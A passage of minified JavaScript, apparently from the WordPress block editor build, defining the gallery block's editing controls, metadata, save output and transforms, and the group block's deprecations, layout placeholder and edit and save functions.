${n}`);let l=`#block-${t} {
		--wp--style--unstable-gallery-gap: ${n==="0"?"0px":n};
		gap: ${a}
	}`;return(0,Kp.useStyleOverride)({css:l}),null}var He=o(v(),1),h$=8,g$=[{icon:E0,label:(0,ge.__)("Link images to attachment pages"),value:Rs,noticeText:(0,ge.__)("Attachment Pages")},{icon:Au,label:(0,ge.__)("Link images to media files"),value:As,noticeText:(0,ge.__)("Media Files")},{icon:pp,label:(0,ge.__)("Enlarge on click"),value:ev,noticeText:(0,ge.__)("Lightbox effect"),infoText:(0,ge.__)("Scale images with a lightbox effect")},{icon:O0,label:(0,ge._x)("None","Media item link option"),value:Ms,noticeText:(0,ge.__)("None")}],Xve=[{label:(0,ge.__)("Icon"),value:"icon"},{label:(0,ge.__)("Text"),value:"text"},{label:(0,ge.__)("Both"),value:"both"}],GE=["image"],Jve=Qo.Platform.isNative?(0,ge.__)("Add media"):(0,ge.__)("Drag and drop images, upload, or choose from your library."),ebe=Qo.Platform.isNative?{type:"stepper"}:{},tbe={name:"core/image"},rbe=[];function x$(e){let{setAttributes:t,attributes:r,className:a,clientId:n,isSelected:i,insertBlocksAfter:l,isContentLocked:s,onFocus:c}=e,[u,m,p,d]=(0,So.useSettings)("blocks.core/image.lightbox","dimensions.aspectRatios.default","dimensions.aspectRatios.theme","dimensions.defaultAspectRatios"),f=u?.allowEditing?g$:g$.filter(Q=>Q.value!==ev),{navigationButtonType:h,columns:g,imageCrop:b,randomOrder:y,linkTarget:_,linkTo:x,sizeSlug:k,aspectRatio:S}=r,{__unstableMarkNextChangeAsNotPersistent:C,replaceInnerBlocks:E,updateBlockAttributes:B,selectBlock:D}=(0,nv.useDispatch)(So.store),{createSuccessNotice:M,createErrorNotice:O}=(0,nv.useDispatch)(y$.store),{getBlock:R,getSettings:F,innerBlockImages:P,blockWasJustInserted:H,multiGallerySelection:$}=(0,nv.useSelect)(Q=>{let{getBlockName:Ie,getMultiSelectedBlockClientIds:$e,getSettings:Oe,getBlock:De,wasBlockJustInserted:ut}=Q(So.store),ro=$e();return{getBlock:De,getSettings:Oe,innerBlockImages:De(n)?.innerBlocks??rbe,blockWasJustInserted:ut(n,"inserter_menu"),multiGallerySelection:ro.length&&ro.every(da=>Ie(da)==="core/gallery")}},[n]),V=(0,Qo.useMemo)(()=>P?.map(Q=>({clientId:Q.clientId,id:Q.attributes.id,url:Q.attributes.url,attributes:Q.attributes,fromSavedContent:!!Q.originalContent})),[P]),G=d$(P),K=c$(V,G),X=u?.enabled?V.filter(Q=>Q.attributes?.lightbox?.enabled===void 0||Q.attributes?.lightbox?.enabled===!0).length>0:V.filter(Q=>Q.attributes.lightbox?.enabled).length>0,ee=p?.map(({name:Q,ratio:Ie})=>({label:Q,value:Ie})),ne=m?.map(({name:Q,ratio:Ie})=>({label:Q,value:Ie})),J=[{label:(0,ge._x)("Original","Aspect ratio option for dimensions control"),value:"auto"},...d?ne||[]:[],...ee||[]];(0,Qo.useEffect)(()=>{K?.forEach(Q=>{C(),B(Q.clientId,{...ie(Q.attributes),id:Q.id,align:void 0})})},[K]);let oe=s$(G,i,F);function ie(Q){let Ie=Q.id?G.find(({id:De})=>De===Q.id):null,$e;Q.className&&Q.className!==""&&($e=Q.className);let Oe;return Q.linkTarget||Q.rel?Oe={linkTarget:Q.linkTarget,rel:Q.rel}:Oe=HE(_,r),{...t$(Ie,k),...OE(Ie,x,Q?.linkDestination),...Oe,className:$e,sizeSlug:k,caption:Q.caption.length>0?Q.caption:Ie.caption?.raw,alt:Q.alt||Ie.alt_text,aspectRatio:S==="auto"?void 0:S}}function le(Q){let Ie=Qo.Platform.isNative&&Q.id?G.find(({id:Oe})=>Oe===Q.id):null,$e=Ie?Ie?.media_type:Q.type;return GE.some(Oe=>$e?.indexOf(Oe)===0)||Q.blob}function de(Q){let Ie=Object.prototype.toString.call(Q)==="[object FileList]",$e=Ie?Array.from(Q).map(at=>at.url?at:{blob:(0,WE.createBlobURL)(at)}):Q;$e.every(le)||O((0,ge.__)("If uploading to a gallery all files need to be image formats"),{id:"gallery-upload-invalid-file",type:"snackbar"});let Oe=$e.filter(at=>at.url||le(at)).map(at=>at.url?at:{blob:at.blob||(0,WE.createBlobURL)(at)}),De=Oe.reduce((at,zo,fn)=>(at[zo.id]=fn,at),{}),ut=Ie?P:P.filter(at=>Oe.find(zo=>zo.id===at.attributes.id)),da=Oe.filter(at=>!ut.find(zo=>at.id===zo.attributes.id)).map(at=>(0,b$.createBlock)("core/image",{id:at.id,blob:at.blob,url:at.url,caption:at.caption,alt:at.alt}));E(n,ut.concat(da).sort((at,zo)=>De[at.attributes.id]-De[zo.attributes.id])),da?.length>0&&D(da[0].clientId)}function Ve(Q){O(Q,{type:"snackbar"})}function Ne(Q){t({linkTo:Q});let Ie={},$e=[];R(n).innerBlocks.forEach(De=>{$e.push(De.clientId);let ut=De.attributes.id?G.find(({id:ro})=>ro===De.attributes.id):null;Ie[De.clientId]=OE(ut,Q,!1,De.attributes,u)}),B($e,Ie,{uniqueByBlock:!0});let Oe=[...f].find(De=>De.value===Q);M((0,ge.sprintf)((0,ge.__)("All gallery image links updated to: %s"),Oe.noticeText),{id:"gallery-attributes-linkTo",type:"snackbar"})}function ae(Q){t({columns:Q})}function Be(){t({imageCrop:!b})}function Ae(){t({randomOrder:!y})}function re(Q){let Ie=Q?"_blank":void 0;t({linkTarget:Ie});let $e={},Oe=[];R(n).innerBlocks.forEach(ut=>{Oe.push(ut.clientId),$e[ut.clientId]=HE(Ie,ut.attributes)}),B(Oe,$e,{uniqueByBlock:!0});let De=Q?(0,ge.__)("All gallery images updated to open in new tab"):(0,ge.__)("All gallery images updated to not open in new tab");M(De,{id:"gallery-attributes-openInNewTab",type:"snackbar"})}function fe(Q){t({sizeSlug:Q});let Ie={},$e=[];R(n).innerBlocks.forEach(De=>{$e.push(De.clientId);let ut=De.attributes.id?G.find(({id:ro})=>ro===De.attributes.id):null;Ie[De.clientId]=a$(ut,Q)}),B($e,Ie,{uniqueByBlock:!0});let Oe=oe.find(De=>De.value===Q);M((0,ge.sprintf)((0,ge.__)("All gallery image sizes updated to: %s"),Oe?.label??Q),{id:"gallery-attributes-sizeSlug",type:"snackbar"})}function rt(Q){t({aspectRatio:Q});let Ie={},$e=[];R(n).innerBlocks.forEach(De=>{$e.push(De.clientId),Ie[De.clientId]={aspectRatio:Q==="auto"?void 0:Q}}),B($e,Ie,!0);let Oe=J.find(De=>De.value===Q);M((0,ge.sprintf)((0,ge.__)("All gallery images updated to aspect ratio: %s"),Oe?.label||Q),{id:"gallery-attributes-aspectRatio",type:"snackbar"})}(0,Qo.useEffect)(()=>{x||(C(),t({linkTo:window?.wp?.media?.view?.settings?.defaultProps?.link||Ms}))},[x]);let tt=!!V.length,Yt=tt&&V.some(Q=>!!Q.id),he=V.some(Q=>Qo.Platform.isNative?Q.url?.indexOf("file:")===0:!Q.id&&Q.url?.indexOf("blob:")===0),wt=Qo.Platform.select({web:{addToGallery:!1,disableMediaButtons:he,value:{}},native:{addToGallery:Yt,isAppender:tt,disableMediaButtons:tt&&!i||he,value:Yt?V:{},autoOpenMediaUpload:!tt&&i&&H,onFocus:c}}),je=(0,He.jsx)(So.MediaPlaceholder,{handleUpload:!1,icon:e$,labels:{title:(0,ge.__)("Gallery"),instructions:Jve},onSelect:de,allowedTypes:GE,multiple:!0,onError:Ve,...wt}),xe=(0,So.useBlockProps)({className:w(a,"has-nested-images")}),ot=Qo.Platform.isNative&&{marginHorizontal:0,marginVertical:0},Ke=(0,So.useInnerBlocksProps)(xe,{defaultBlock:tbe,directInsert:!0,orientation:"horizontal",renderAppender:!1,...ot}),Qe=W();if(!tt)return(0,He.jsxs)(v$.View,{...Ke,children:[Ke.children,je]});let Ro=x&&x!=="none";return(0,He.jsxs)(He.Fragment,{children:[(0,He.jsxs)(So.InspectorControls,{children:[Qo.Platform.isWeb&&(0,He.jsxs)(Ye.__experimentalToolsPanel,{label:(0,ge.__)("Settings"),resetAll:()=>{t({navigationButtonType:"icon",columns:void 0,imageCrop:!0,randomOrder:!1}),rt("auto"),k!==tv&&fe(tv),_&&re(!1)},dropdownMenuProps:Qe,children:[V.length>1&&(0,He.jsx)(Ye.__experimentalToolsPanelItem,{isShownByDefault:!0,label:(0,ge.__)("Columns"),hasValue:()=>!!g&&g!==V.length,onDeselect:()=>ae(void 0),children:(0,He.jsx)(Ye.RangeControl,{label:(0,ge.__)("Columns"),value:g||zE(V.length),onChange:ae,min:1,max:Math.min(h$,V.length),required:!0,__next40pxDefaultSize:!0})}),oe?.length>0&&(0,He.jsx)(Ye.__experimentalToolsPanelItem,{isShownByDefault:!0,label:(0,ge.__)("Resolution"),hasValue:()=>k!==tv,onDeselect:()=>fe(tv),children:(0,He.jsx)(Ye.SelectControl,{label:(0,ge.__)("Resolution"),help:(0,ge.__)("Select the size of the source images."),value:k,options:oe,onChange:fe,hideCancelButton:!0,size:"__unstable-large"})}),(0,He.jsx)(Ye.__experimentalToolsPanelItem,{isShownByDefault:!0,label:(0,ge.__)("Crop images to fit"),hasValue:()=>!b,onDeselect:()=>t({imageCrop:!0}),children:(0,He.jsx)(Ye.ToggleControl,{label:(0,ge.__)("Crop images to fit"),checked:!!b,onChange:Be})}),(0,He.jsx)(Ye.__experimentalToolsPanelItem,{isShownByDefault:!0,label:(0,ge.__)("Randomize order"),hasValue:()=>!!y,onDeselect:()=>t({randomOrder:!1}),children:(0,He.jsx)(Ye.ToggleControl,{label:(0,ge.__)("Randomize order"),checked:!!y,onChange:Ae})}),Ro&&(0,He.jsx)(Ye.__experimentalToolsPanelItem,{isShownByDefault:!0,label:(0,ge.__)("Open images in new tab"),hasValue:()=>!!_,onDeselect:()=>re(!1),children:(0,He.jsx)(Ye.ToggleControl,{label:(0,ge.__)("Open images in new tab"),checked:_==="_blank",onChange:re})}),J.length>1&&(0,He.jsx)(Ye.__experimentalToolsPanelItem,{hasValue:()=>!!S&&S!=="auto",label:(0,ge.__)("Aspect ratio"),onDeselect:()=>rt("auto"),isShownByDefault:!0,children:(0,He.jsx)(Ye.SelectControl,{__next40pxDefaultSize:!0,label:(0,ge.__)("Aspect ratio"),help:(0,ge.__)("Set a consistent aspect ratio for all images in the gallery."),value:S,options:J,onChange:rt})}),(0,He.jsx)(Ye.__experimentalToolsPanelItem,{label:(0,ge.__)("Navigation button type"),isShownByDefault:!0,hasValue:()=>h!=="icon",onDeselect:()=>t({navigationButtonType:"icon"}),children:X&&(0,He.jsx)(Ye.__experimentalToggleGroupControl,{label:(0,ge.__)("Navigation button type"),value:h,onChange:Q=>t({navigationButtonType:Q}),isBlock:!0,__next40pxDefaultSize:!0,help:(0,ge.__)("Adjust the appearance of buttons in the lightbox."),children:Xve.map(Q=>(0,He.jsx)(Ye.__experimentalToggleGroupControlOption,{value:Q.value,label:Q.label},Q.value))})})]}),Qo.Platform.isNative&&(0,He.jsxs)(Ye.PanelBody,{title:(0,ge.__)("Settings"),children:[V.length>1&&(0,He.jsx)(Ye.RangeControl,{label:(0,ge.__)("Columns"),value:g||zE(V.length),onChange:ae,min:1,max:Math.min(h$,V.length),...ebe,required:!0,__next40pxDefaultSize:!0}),oe?.length>0&&(0,He.jsx)(Ye.SelectControl,{label:(0,ge.__)("Resolution"),help:(0,ge.__)("Select the size of the source images."),value:k,options:oe,onChange:fe,hideCancelButton:!0,size:"__unstable-large"}),(0,He.jsx)(Ye.SelectControl,{label:(0,ge.__)("Link"),value:x,onChange:Ne,options:f,hideCancelButton:!0,size:"__unstable-large"}),(0,He.jsx)(Ye.ToggleControl,{label:(0,ge.__)("Crop images to fit"),checked:!!b,onChange:Be}),(0,He.jsx)(Ye.ToggleControl,{label:(0,ge.__)("Randomize order"),checked:!!y,onChange:Ae}),Ro&&(0,He.jsx)(Ye.ToggleControl,{label:(0,ge.__)("Open images in new tab"),checked:_==="_blank",onChange:re}),J.length>1&&(0,He.jsx)(Ye.SelectControl,{label:(0,ge.__)("Aspect Ratio"),help:(0,ge.__)("Set a consistent aspect ratio for all images in the gallery."),value:S,options:J,onChange:rt,hideCancelButton:!0,size:"__unstable-large"})]})]}),Qo.Platform.isWeb?(0,He.jsx)(So.BlockControls,{group:"block",children:(0,He.jsx)(Ye.ToolbarDropdownMenu,{icon:Yn,label:(0,ge.__)("Link"),children:({onClose:Q})=>(0,He.jsx)(Ye.MenuGroup,{children:f.map(Ie=>{let $e=x===Ie.value;return(0,He.jsx)(Ye.MenuItem,{isSelected:$e,className:w("components-dropdown-menu__menu-item",{"is-active":$e}),iconPosition:"left",icon:Ie.icon,onClick:()=>{Ne(Ie.value),Q()},role:"menuitemradio",info:Ie.infoText,children:Ie.label},Ie.value)})})})}):null,Qo.Platform.isWeb&&(0,He.jsxs)(He.Fragment,{children:[!$&&(0,He.jsx)(So.BlockControls,{group:"other",children:(0,He.jsx)(So.MediaReplaceFlow,{allowedTypes:GE,handleUpload:!1,onSelect:de,name:(0,ge.__)("Add"),multiple:!0,mediaIds:V.filter(Q=>Q.id).map(Q=>Q.id),addToGallery:Yt,variant:"toolbar"})}),(0,He.jsx)(f$,{blockGap:r.style?.spacing?.blockGap,clientId:n})]}),(0,He.jsx)(i$,{...e,isContentLocked:s,images:V,mediaPlaceholder:!tt||Qo.Platform.isNative?je:void 0,blockProps:Ke,insertBlocksAfter:l,multiGallerySelection:$})]})}var M5={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/gallery",title:"Gallery",category:"media",usesContext:["galleryId"],allowedBlocks:["core/image"],description:"Display multiple images in a rich gallery.",keywords:["images","photos"],textdomain:"default",attributes:{images:{type:"array",default:[],source:"query",selector:".blocks-gallery-item",query:{url:{type:"string",source:"attribute",selector:"img",attribute:"src"},fullUrl:{type:"string",source:"attribute",selector:"img",attribute:"data-full-url"},link:{type:"string",source:"attribute",selector:"img",attribute:"data-link"},alt:{type:"string",source:"attribute",selector:"img",attribute:"alt",default:""},id:{type:"string",source:"attribute",selector:"img",attribute:"data-id"},caption:{type:"rich-text",source:"rich-text",selector:".blocks-gallery-item__caption"}}},ids:{type:"array",items:{type:"number"},default:[]},navigationButtonType:{type:"string",default:"icon",enum:["icon","text","both"]},shortCodeTransforms:{type:"array",items:{type:"object"},default:[]},columns:{type:"number",minimum:1,maximum:8},caption:{type:"rich-text",source:"rich-text",selector:".blocks-gallery-caption",role:"content"},imageCrop:{type:"boolean",default:!0},randomOrder:{type:"boolean",default:!1},fixedHeight:{type:"boolean",default:!0},linkTarget:{type:"string"},linkTo:{type:"string"},sizeSlug:{type:"string",default:"large"},allowResize:{type:"boolean",default:!1},aspectRatio:{type:"string",default:"auto"}},providesContext:{allowResize:"allowResize",imageCrop:"imageCrop",fixedHeight:"fixedHeight",navigationButtonType:"navigationButtonType"},supports:{anchor:!0,align:!0,__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{color:!0,radius:!0}},html:!1,units:["px","em","rem","vh","vw"],spacing:{margin:!0,padding:!0,blockGap:["horizontal","vertical"],__experimentalSkipSerialization:["blockGap"],__experimentalDefaultControls:{blockGap:!0,margin:!1,padding:!1}},color:{text:!1,background:!0,gradients:!0},layout:{allowSwitching:!1,allowInheriting:!1,allowEditing:!1,default:{type:"flex"}},interactivity:{clientNavigation:!0},listView:!0},editorStyle:"wp-block-gallery-editor",style:"wp-block-gallery"};var Uc=o(T(),1),A5=o(v(),1);function _$({attributes:e}){let{caption:t,columns:r,imageCrop:a}=e,n=w("has-nested-images",{[`columns-${r}`]:r!==void 0,"columns-default":r===void 0,"is-cropped":a}),i=Uc.useBlockProps.save({className:n}),l=Uc.useInnerBlocksProps.save(i);return(0,A5.jsxs)("figure",{...l,children:[l.children,!Uc.RichText.isEmpty(t)&&(0,A5.jsx)(Uc.RichText.Content,{tagName:"figcaption",className:w("blocks-gallery-caption",(0,Uc.__experimentalGetElementClassName)("caption")),value:t})]})}var Vs=o(U(),1),k$=o(Tr(),1),$E=o(Vc(),1);var abe=e=>e?e.split(",").map(t=>parseInt(t,10)):[];function nbe(e){if(e.name==="core/gallery"&&e.attributes?.images.length>0){let t=e.attributes.images.map(({url:r,id:a,alt:n})=>(0,Vs.createBlock)("core/image",{url:r,id:a?parseInt(a,10):null,alt:n,sizeSlug:e.attributes.sizeSlug,linkDestination:e.attributes.linkDestination}));delete e.attributes.ids,delete e.attributes.images,e.innerBlocks=t}return e}(0,$E.addFilter)("blocks.switchToBlockType.transformedBlock","core/gallery/update-third-party-transform-to",nbe);function ibe(e,t){let a=(Array.isArray(t)?t:[t]).find(n=>n.name==="core/gallery"&&n.innerBlocks.length>0&&!n.attributes.images?.length>0&&!e.name.includes("core/"));if(a){let n=a.innerBlocks.map(({attributes:{url:l,id:s,alt:c}})=>({url:l,id:s?parseInt(s,10):null,alt:c})),i=n.map(({id:l})=>l);a.attributes.images=n,a.attributes.ids=i}return e}(0,$E.addFilter)("blocks.switchToBlockType.transformedBlock","core/gallery/update-third-party-transform-from",ibe);var lbe={from:[{type:"block",isMultiBlock:!0,blocks:["core/image"],transform:e=>{let{align:t,sizeSlug:r}=e[0];t=e.every(i=>i.align===t)?t:void 0,r=e.every(i=>i.sizeSlug===r)?r:void 0;let n=e.filter(({url:i})=>i).map(i=>(i.width=void 0,i.height=void 0,(0,Vs.createBlock)("core/image",i)));return(0,Vs.createBlock)("core/gallery",{align:t,sizeSlug:r},n)}},{type:"shortcode",tag:"gallery",transform({named:{ids:e,columns:t=3,link:r,orderby:a,size:n}}){let i=abe(e).map(c=>parseInt(c,10)),l=Ms;return r==="post"?l=Rs:r==="file"&&(l=As),(0,Vs.createBlock)("core/gallery",{columns:parseInt(t,10),linkTo:l,randomOrder:a==="rand",...n&&{sizeSlug:n}},i.map(c=>(0,Vs.createBlock)("core/image",{id:c,...n&&{sizeSlug:n}})))},isMatch({named:e}){return e.ids!==void 0}},{type:"files",priority:1,isMatch(e){return e.length!==1&&e.every(t=>t.type.indexOf("image/")===0)},transform(e){let t=e.map(r=>(0,Vs.createBlock)("core/image",{blob:(0,k$.createBlobURL)(r)}));return(0,Vs.createBlock)("core/gallery",{},t)}}],to:[{type:"block",blocks:["core/image"],transform:({align:e},t)=>t.length>0?t.map(({attributes:{url:r,alt:a,caption:n,title:i,href:l,rel:s,linkClass:c,id:u,sizeSlug:m,linkDestination:p,linkTarget:d,anchor:f,className:h}})=>(0,Vs.createBlock)("core/image",{align:e,url:r,alt:a,caption:n,title:i,href:l,rel:s,linkClass:c,id:u,sizeSlug:m,linkDestination:p,linkTarget:d,anchor:f,className:h})):(0,Vs.createBlock)("core/image",{align:e})}]},w$=lbe;var{name:C$}=M5,S$={icon:F0,example:{attributes:{columns:2},innerBlocks:[{name:"core/image",attributes:{url:"https://s.w.org/images/core/5.3/Glacial_lakes%2C_Bhutan.jpg"}},{name:"core/image",attributes:{url:"https://s.w.org/images/core/5.3/Sediment_off_the_Yucatan_Peninsula.jpg"}}]},transforms:w$,edit:x$,save:_$,deprecated:YW},sbe=()=>N({name:C$,metadata:M5,settings:S$});var XE={};q(XE,{init:()=>bbe,metadata:()=>z5,name:()=>O5,settings:()=>O$});var F5=o(I(),1);var ya=o(T(),1),ci=o(v(),1),ZE=e=>{if(e.tagName||(e={...e,tagName:"div"}),!e.customTextColor&&!e.customBackgroundColor)return e;let t={color:{}};e.customTextColor&&(t.color.text=e.customTextColor),e.customBackgroundColor&&(t.color.background=e.customBackgroundColor);let{customTextColor:r,customBackgroundColor:a,...n}=e;return{...n,style:t}},cbe=[{attributes:{tagName:{type:"string",default:"div"},templateLock:{type:["string","boolean"],enum:["all","insert",!1]}},supports:{__experimentalOnEnter:!0,__experimentalSettings:!0,align:["wide","full"],anchor:!0,ariaLabel:!0,html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:["top","bottom"],padding:!0,blockGap:!0,__experimentalDefaultControls:{padding:!0,blockGap:!0}},__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0,__experimentalDefaultControls:{color:!0,radius:!0,style:!0,width:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalTextTransform:!0,__experimentalDefaultControls:{fontSize:!0}},layout:!0},save({attributes:{tagName:e}}){return(0,ci.jsx)(e,{...ya.useInnerBlocksProps.save(ya.useBlockProps.save())})},isEligible:({layout:e})=>e?.inherit||e?.contentSize&&e?.type!=="constrained",migrate:e=>{let{layout:t=null}=e;if(t?.inherit||t?.contentSize)return{...e,layout:{...t,type:"constrained"}}}},{attributes:{tagName:{type:"string",default:"div"},templateLock:{type:["string","boolean"],enum:["all","insert",!1]}},supports:{align:["wide","full"],anchor:!0,color:{gradients:!0,link:!0},spacing:{padding:!0},__experimentalBorder:{radius:!0}},save({attributes:e}){let{tagName:t}=e;return(0,ci.jsx)(t,{...ya.useBlockProps.save(),children:(0,ci.jsx)("div",{className:"wp-block-group__inner-container",children:(0,ci.jsx)(ya.InnerBlocks.Content,{})})})}},{attributes:{backgroundColor:{type:"string"},customBackgroundColor:{type:"string"},textColor:{type:"string"},customTextColor:{type:"string"}},supports:{align:["wide","full"],anchor:!0,html:!1},migrate:ZE,save({attributes:e}){let{backgroundColor:t,customBackgroundColor:r,textColor:a,customTextColor:n}=e,i=(0,ya.getColorClassName)("background-color",t),l=(0,ya.getColorClassName)("color",a),s=w(i,l,{"has-text-color":a||n,"has-background":t||r});return(0,ci.jsx)("div",{className:s,style:{backgroundColor:i?void 0:r,color:l?void 0:n},children:(0,ci.jsx)("div",{className:"wp-block-group__inner-container",children:(0,ci.jsx)(ya.InnerBlocks.Content,{})})})}},{attributes:{backgroundColor:{type:"string"},customBackgroundColor:{type:"string"},textColor:{type:"string"},customTextColor:{type:"string"}},migrate:ZE,supports:{align:["wide","full"],anchor:!0,html:!1},save({attributes:e}){let{backgroundColor:t,customBackgroundColor:r,textColor:a,customTextColor:n}=e,i=(0,ya.getColorClassName)("background-color",t),l=(0,ya.getColorClassName)("color",a),s=w(i,{"has-text-color":a||n,"has-background":t||r});return(0,ci.jsx)("div",{className:s,style:{backgroundColor:i?void 0:r,color:l?void 0:n},children:(0,ci.jsx)("div",{className:"wp-block-group__inner-container",children:(0,ci.jsx)(ya.InnerBlocks.Content,{})})})}},{attributes:{backgroundColor:{type:"string"},customBackgroundColor:{type:"string"}},supports:{align:["wide","full"],anchor:!0,html:!1},migrate:ZE,save({attributes:e}){let{backgroundColor:t,customBackgroundColor:r}=e,a=(0,ya.getColorClassName)("background-color",t),n=w(a,{"has-background":t||r});return(0,ci.jsx)("div",{className:n,style:{backgroundColor:a?void 0:r},children:(0,ci.jsx)(ya.InnerBlocks.Content,{})})}}],T$=cbe;var R5=o(z(),1),mi=o(T(),1),D$=o(j(),1),L$=o(I(),1),M$=o(L(),1);var P$=o(z(),1),B$=o(T(),1),KE=o(I(),1),I$=o(U(),1),In=o(A(),1),iv=o(j(),1),Bn=o(v(),1),ube=(e="group")=>({group:(0,Bn.jsx)(In.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"48",height:"48",viewBox:"0 0 48 48",children:(0,Bn.jsx)(In.Path,{d:"M0 10a2 2 0 0 1 2-2h44a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V10Z"})}),"group-row":(0,Bn.jsx)(In.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"48",height:"48",viewBox:"0 0 48 48",children:(0,Bn.jsx)(In.Path,{d:"M0 10a2 2 0 0 1 2-2h19a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V10Zm25 0a2 2 0 0 1 2-2h19a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H27a2 2 0 0 1-2-2V10Z"})}),"group-stack":(0,Bn.jsx)(In.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"48",height:"48",viewBox:"0 0 48 48",children:(0,Bn.jsx)(In.Path,{d:"M0 10a2 2 0 0 1 2-2h44a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V10Zm0 17a2 2 0 0 1 2-2h44a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V27Z"})}),"group-grid":(0,Bn.jsx)(In.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"48",height:"48",viewBox:"0 0 48 48",children:(0,Bn.jsx)(In.Path,{d:"M0 10a2 2 0 0 1 2-2h19a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V10Zm25 0a2 2 0 0 1 2-2h19a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H27a2 2 0 0 1-2-2V10ZM0 27a2 2 0 0 1 2-2h19a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V27Zm25 0a2 2 0 0 1 2-2h19a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H27a2 2 0 0 1-2-2V27Z"})})})?.[e];function E$({attributes:e={style:void 0,backgroundColor:void 0,textColor:void 0,fontSize:void 0},usedLayoutType:t="",hasInnerBlocks:r=!1}){let{style:a,backgroundColor:n,textColor:i,fontSize:l}=e,[s,c]=(0,iv.useState)(!r&&!n&&!l&&!i&&!a&&t!=="flex"&&t!=="grid");return(0,iv.useEffect)(()=>{(r||n||l||i||a||t==="flex")&&c(!1)},[n,l,i,a,t,r]),[s,c]}function mbe({name:e,onSelect:t}){let r=(0,P$.useSelect)(n=>n(I$.store).getBlockVariations(e,"block"),[e]),a=(0,B$.useBlockProps)({className:"wp-block-group__placeholder"});return(0,iv.useEffect)(()=>{r&&r.length===1&&t(r[0])},[t,r]),(0,Bn.jsx)("div",{...a,children:(0,Bn.jsx)(In.Placeholder,{instructions:(0,KE.__)("Group blocks together. Select a layout:"),children:(0,Bn.jsx)("ul",{role:"list",className:"wp-block-group-placeholder__variations","aria-label":(0,KE.__)("Block variations"),children:r.map(n=>(0,Bn.jsx)("li",{children:(0,Bn.jsx)(In.Button,{__next40pxDefaultSize:!0,variant:"tertiary",icon:ube(n.name),iconSize:48,onClick:()=>t(n),className:"wp-block-group-placeholder__variation-button",label:`${n.title}: ${n.description}`})},n.name))})})})}var N$=mbe;var ui=o(v(),1),{HTMLElementControl:pbe}=Z(mi.privateApis);function dbe({tagName:e,onSelectTagName:t,clientId:r}){return(0,ui.jsx)(mi.InspectorControls,{group:"advanced",children:(0,ui.jsx)(pbe,{tagName:e,onChange:t,clientId:r,options:[{label:(0,L$.__)("Default (<div>)"),value:"div"},{label:"<header>",value:"header"},{label:"<main>",value:"main"},{label:"<section>",value:"section"},{label:"<article>",value:"article"},{label:"<aside>",value:"aside"},{label:"<footer>",value:"footer"}]})})}function fbe({attributes:e,name:t,setAttributes:r,clientId:a}){let{hasInnerBlocks:n,themeSupportsLayout:i}=(0,R5.useSelect)(k=>{let{getBlock:S,getSettings:C}=k(mi.store),E=S(a);return{hasInnerBlocks:!!(E&&E.innerBlocks.length),themeSupportsLayout:C()?.supportsLayout}},[a]),{tagName:l="div",templateLock:s,allowedBlocks:c,layout:u={}}=e,{type:m="default"}=u,p=i||m==="flex"||m==="grid",d=(0,D$.useRef)(),f=(0,mi.useBlockProps)({ref:d}),[h,g]=E$({attributes:e,usedLayoutType:m,hasInnerBlocks:n}),b;h?b=!1:n||(b=mi.InnerBlocks.ButtonBlockAppender);let y=(0,mi.useInnerBlocksProps)(p?f:{className:"wp-block-group__inner-container"},{dropZoneElement:d.current,templateLock:s,allowedBlocks:c,renderAppender:b}),{selectBlock:_}=(0,R5.useDispatch)(mi.store),x=k=>{r(k.attributes),_(a,-1),g(!1)};return(0,ui.jsxs)(ui.Fragment,{children:[(0,ui.jsx)(dbe,{tagName:l,onSelectTagName:k=>r({tagName:k}),clientId:a}),h&&(0,ui.jsxs)(M$.View,{children:[y.children,(0,ui.jsx)(N$,{name:t,onSelect:x})]}),p&&!h&&(0,ui.jsx)(l,{...y}),!p&&!h&&(0,ui.jsx)(l,{...f,children:(0,ui.jsx)("div",{...y})})]})}var A$=fbe;var z5={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/group",title:"Group",category:"design",description:"Gather blocks in a layout container.",keywords:["container","wrapper","row","section"],textdomain:"default",attributes:{tagName:{type:"string",default:"div"},templateLock:{type:["string","boolean"],enum:["all","insert","contentOnly",!1]}},supports:{__experimentalOnEnter:!0,__experimentalOnMerge:!0,__experimentalSettings:!0,align:["wide","full"],anchor:!0,ariaLabel:!0,html:!1,background:{backgroundImage:!0,backgroundSize:!0,__experimentalDefaultControls:{backgroundImage:!0}},color:{gradients:!0,heading:!0,button:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},shadow:!0,spacing:{margin:["top","bottom"],padding:!0,blockGap:!0,__experimentalDefaultControls:{padding:!0,blockGap:!0}},dimensions:{minHeight:!0},__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0,__experimentalDefaultControls:{color:!0,radius:!0,style:!0,width:!0}},position:{sticky:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},layout:{allowSizingOnChildren:!0},interactivity:{clientNavigation:!0},allowedBlocks:!0},editorStyle:"wp-block-group-editor",style:"wp-block-group"};var V5=o(T(),1),R$=o(v(),1);function z$({attributes:{tagName:e}}){return(0,R$.jsx)(e,{...V5.useInnerBlocksProps.save(V5.useBlockProps.save())})}var 